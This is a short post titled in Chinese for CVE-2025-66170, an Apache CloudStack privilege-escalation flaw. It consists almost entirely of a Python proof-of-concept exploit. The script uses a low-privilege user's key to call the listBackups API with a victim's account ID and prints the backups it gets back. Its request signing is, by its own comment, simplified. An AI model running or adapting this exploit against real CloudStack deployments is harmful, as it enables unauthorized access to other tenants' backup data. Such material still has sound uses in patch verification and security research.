CVE-2025-66170 Apache CloudStack越权漏洞

import requests # Exploit Title: Apache CloudStack Backup Plugin Privilege Escalation (List Backups) # Date: 2025-05-08 # Exploit Author: Analyst # Vendor Homepage: https://cloudstack.apache.org/ # Version: 4.21.0.0, 4.22.0.0 def exploit(target_url, api_key, victim_account_id): """ Attempts to list backups for a specific victim account using a low-privilege user. """ # API endpoint for listing backups (example endpoint structure) endpoint = f"{target_url}/client/api" # Payload parameters simulating the API command command = "listBackups" params = { "command": command, "accountid": victim_account_id, # The vulnerable parameter: overriding account context "response": "json" } # Signing the request (simplified for PoC) headers = { "Cookie": f"JSESSIONID={api_key}", "Authorization": f"Bearer {api_key}" } try: response = requests.get(endpoint, params=params, headers=headers, verify=False) if response.status_code == 200: print("[+] Successfully retrieved backup list:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://cloudstack-target:8080" # Replace with valid credentials for a low-privilege user low_priv_api_key = "LOW_PRIV_USER_API_KEY" # Target account ID to enumerate target_account = "admin-uuid-or-id" exploit(target, low_priv_api_key, target_account)